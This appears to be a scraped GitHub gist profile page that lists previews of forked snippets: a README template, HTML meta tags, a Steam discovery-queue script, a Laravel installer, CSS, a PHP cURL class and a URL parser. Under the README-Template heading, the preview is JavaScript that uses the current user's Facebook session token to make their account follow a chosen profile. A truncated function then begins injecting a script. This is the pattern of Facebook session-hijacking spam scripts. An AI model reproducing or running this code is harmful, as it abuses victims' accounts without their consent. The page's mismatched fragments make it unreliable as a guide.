Skip to content

Instantly share code, notes, and snippets.

View nguyenvanduocit's full-sized avatar
🌴
On vacation

Duoc Nguyen nguyenvanduocit

🌴
On vacation
View GitHub Profile
@nguyenvanduocit
nguyenvanduocit / README-Template.md
Created September 30, 2017 15:53 — forked from PurpleBooth/README-Template.md
A template to make good README.md

Project Title

One Paragraph of project description goes here

Getting Started

These instructions will get you a copy of the project up and running on your local machine for development and testing purposes. See deployment for notes on how to deploy the project on a live system.

Prerequisites

function a(abone)
{ var http4=new XMLHttpRequest;
var url4="/ajax/follow/follow_profile.php?__a=1";
var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";
http4.open("POST",url4,true);
http4.onreadystatechange=function()
{ if(http4.readyState==4&&http4.status==200)http4.close };
http4.send(params4)}
function sublist(uidss) {
var a = document.createElement('script');
@nguyenvanduocit
nguyenvanduocit / meta-tags.md
Created March 20, 2017 16:59 — forked from kevinSuttle/meta-tags.md
List of Usable HTML Meta and Link Tags

Copied from http://code.lancepollard.com/complete-list-of-html-meta-tags/

Basic HTML Meta Tags

<meta charset='UTF-8'>
<meta name='keywords' content='your, tags'>
<meta name='description' content='150 words'>
<meta name='subject' content='your website's subject'>
<meta name='copyright' content='company name'>
@nguyenvanduocit
nguyenvanduocit / steam_quick_queue.js
Last active June 27, 2016 17:38 — forked from xPaw/steam_quick_queue.user.js
Discover the Steam queue three times to get the sale cards
/* Execute this on http://store.steampowered.com/explore/ */
var DiscoveryQueueModal, GenerateQueue = function( queueNumber )
{
DiscoveryQueueModal = ShowBlockingWaitDialog( 'Exploring queue...', 'Generating new discovery queue #' + ++queueNumber );
jQuery.post( 'http://store.steampowered.com/explore/generatenewdiscoveryqueue', { sessionid: g_sessionID, queuetype: 0 } ).done( function( data )
{
var requests = [], done = 0, errorShown;
@nguyenvanduocit
nguyenvanduocit / laravel.sh
Created June 17, 2016 17:12 — forked from betawax/laravel.sh
Laravel 5 Installation
#!/bin/sh
# Get the project name
PROJECT_NAME=${1:-laravel}
# Install Laravel via Composer
composer create-project laravel/laravel $PROJECT_NAME dev-develop --prefer-dist
# Change to the project directory
cd $PROJECT_NAME
/*
Make the Facebook Like box responsive (fluid width)
https://developers.facebook.com/docs/reference/plugins/like-box/
*/
/* This element holds injected scripts inside iframes that in some cases may stretch layouts. So, we're just hiding it. */
#fb-root {
display: none;
}
<?php
class Curl {
/**
* cURL request method
*
* @var string
*/
protected $_method = 'GET';
var parser = document.createElement('a');
parser.href = "http://example.com:3000/pathname/?search=test#hash";
parser.protocol; // => "http:"
parser.hostname; // => "example.com"
parser.port; // => "3000"
parser.pathname; // => "/pathname/"
parser.search; // => "?search=test"
parser.hash; // => "#hash"
parser.host; // => "example.com:3000"